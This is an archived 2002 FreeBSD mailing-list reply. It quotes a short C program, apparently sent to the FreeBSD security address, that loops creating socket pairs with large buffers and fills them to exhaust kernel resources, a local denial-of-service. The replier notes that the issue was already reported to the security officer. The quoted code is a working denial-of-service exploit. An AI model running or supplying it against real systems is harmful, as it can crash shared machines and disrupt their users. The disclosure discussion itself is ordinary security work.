Skip site navigation (1)Skip section navigation (2)
Date:      Mon, 2 Sep 2002 01:52:52 -0700
From:      Benjamin Krueger <benjamin@seattleFenix.net>
To:        Ivan Streetovich <bad_dot_c@yahoo.com>
Cc:        freebsd-chat@freebsd.org
Subject:   Re: From: Ivan Streetovich, Japan
Message-ID:  <20020902015252.G64882@mail.seattleFenix.net>
In-Reply-To: <20020902061632.77710.qmail@web12905.mail.yahoo.com>; from bad_dot_c@yahoo.com on Mon, Sep 02, 2002 at 07:16:32AM %2B0100
References:  <20020902061632.77710.qmail@web12905.mail.yahoo.com>

next in thread | previous in thread | raw e-mail | index | archive | help
* Ivan Streetovich (bad_dot_c@yahoo.com) [020901 23:15]:
>  
>  
> 
> __________________________________________________
> Do You Yahoo!?
> Everything you'll ever need on one web page
> from News and Sport to Email and Music Charts
> http://uk.my.yahoo.com
> Date: Mon, 2 Sep 2002 07:05:52 +0100 (BST)
> From: Ivan Streetovich <bad_dot_c@yahoo.com>
> Subject: From: Ivan Streetovich, Japan
> To: security@freebsd.com
> 
> #define         BUFFERSIZE     204800
> extern  int
> 
> /* Released by Ivan Streetovich, Japan *
>  * Causes problems on FreeBSD          */
> 
> main(void)
> {
>         int             p[2], i;
>         char            crap[BUFFERSIZE];
>         while (1)
>         {
>                 if (socketpair(AF_UNIX, SOCK_STREAM,
> 0, p) == -1)
>                         break;
>                 i = BUFFERSIZE;
>                 setsockopt(p[0], SOL_SOCKET,
> SO_RCVBUF, &i, sizeof(int));
>                 setsockopt(p[0], SOL_SOCKET,
> SO_SNDBUF, &i, sizeof(int));
>                 setsockopt(p[1], SOL_SOCKET,
> SO_RCVBUF, &i, sizeof(int));
>                 setsockopt(p[1], SOL_SOCKET,
> SO_SNDBUF, &i, sizeof(int));
>                 fcntl(p[0], F_SETFL, O_NONBLOCK);
>                 fcntl(p[1], F_SETFL, O_NONBLOCK);
>                 write(p[0], crap, BUFFERSIZE);
>                 write(p[1], crap, BUFFERSIZE);
>         }
>         exit(0);
> }

  This problem (and this exact source code, funnily enough. Are you sure you
released it?) has already been reported to the security-officer and is 
(afaik) being addressed by the developers. =)

-- 
Benjamin Krueger

"Everyone has wings, some folks just don't know what they're for"
- B. Banzai
----------------------------------------------------------------
Send mail w/ subject 'send public key' or query for (0x251A4B18)
Fingerprint = A642 F299 C1C1 C828 F186  A851 CFF0 7711 251A 4B18

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-chat" in the body of the message




Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?20020902015252.G64882>